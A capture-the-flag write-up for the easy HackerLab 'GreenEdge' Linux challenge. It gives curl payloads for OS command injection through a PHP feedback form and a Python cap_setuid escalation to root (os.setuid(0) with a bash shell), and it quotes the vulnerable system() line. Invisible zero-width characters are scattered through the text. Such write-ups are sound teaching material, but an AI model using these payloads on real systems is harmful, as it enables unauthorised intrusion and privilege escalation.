GreenEdge

Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-27 | Status: Solved Techniques: OS command injection via web form, Linux capabilities exploitation (cap_setuid on Python), Privilege escalation from www-data to root

Summary

Target: 192.168.2.219 OS: Linux (Ubuntu) Difficulty: easy

GreenEdge - HackerLab

Description

GreenEdge недавно развернула обновлённую версию своего внутреннего портала. Система предназначена для облегчения коммуникации между отделами и улучшения рабочих процессов. Некоторые пользователи сообщили о нестабильной работе отдельных компонентов. Инфраструктура уже доступна для анализа.

Target: 192.168.2.219 OS: Linux (Ubuntu) Difficulty: easy

Analysis

1. Port Scanning

 bash read-only • copy allowed Copy
nmap -sV -sC 192.168.2.219

Discovered services:

• SSH (22) - OpenSSH 8.9p1 Ubuntu
• HTTP (80) - Apache 2.4.52 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

2. Web Enumeration

GreenEdge Portal contains several pages:

• index.php - main page
• about.php - company information
• contact.php - contact information
• feedback.php - feedback form

3. Feedback Form Analysis

The form at /feedback.php accepts user input and processes it in an insecure manner:

 php read-only • copy allowed Copy
system("echo ".$feedback);

Lack of input sanitization allows arbitrary OS command injection.

Solution

Step 1: Command Injection

Testing command injection via the feedback form: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

 bash read-only • copy allowed Copy
curl -X POST "http://192.168.2.219/feedback.php" -d "feedback=test;id"

Result:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Successful command execution as www-data.

Step 2: Finding Privilege Escalation Paths

Checking Linux capabilities:

 bash read-only • copy allowed Copy
curl -X POST "http://192.168.2.219/feedback.php" -d "feedback=test;getcap -r / 2>/dev/null"

Discovered:

/usr/bin/python3.10 cap_setuid=ep

cap_setuid=ep on Python means the process can change its UID, including switching to root (UID 0). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Privilege Escalation via Python Capabilities

Using Python to escalate to root:

 bash read-only • copy allowed Copy
curl -X POST "http://192.168.2.219/feedback.php" \
  -d "feedback=test;/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system(\"id\")'"

Result:

uid=0(root) gid=33(www-data) groups=33(www-data)

Obtained access with UID=0 (root).

Step 4: Finding the Flag

The flag is split into two parts:

 bash read-only • copy allowed Copy
# First part (user flag)
curl -X POST "http://192.168.2.219/feedback.php" \
  -d "feedback=test;/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system(\"cat /home/charley/first_part\")'"
# CODEBY{REDACTED
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Second part (root flag)
curl -X POST "http://192.168.2.219/feedback.php" \
  -d "feedback=test;/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system(\"cat /root/last_part\")'"
# REDACTED}

Attack Chain

Nmap scan → Web enumeration → Feedback form analysis → 
OS Command Injection (;id) → www-data shell → 
getcap enumeration → Python cap_setuid=ep → 
os.setuid(0) → root access → Flag (first_part + last_part)

Lessons

1. Command Injection - never pass user input to system() without sanitization
2. Linux Capabilities - alternative to SUID, often overlooked during audits
3. cap_setuid - allows any process to become root via setuid(0)
4. Python + cap_setuid - classic GTFOBins vector for privesc ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reference: Linux Capabilities

Checking capabilities

 bash read-only • copy allowed Copy
getcap -r / 2>/dev/null

Exploiting cap_setuid on Python

 python read-only • copy allowed Copy
import os
os.setuid(0)
os.system("/bin/bash")

Other dangerous capabilities

• cap_setuid - change UID
• cap_setgid - change GID
• cap_dac_override - bypass file access checks
• cap_sys_admin - many privileged operations

References

• GTFOBins - Python Capabilities
• Linux Capabilities Manual ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍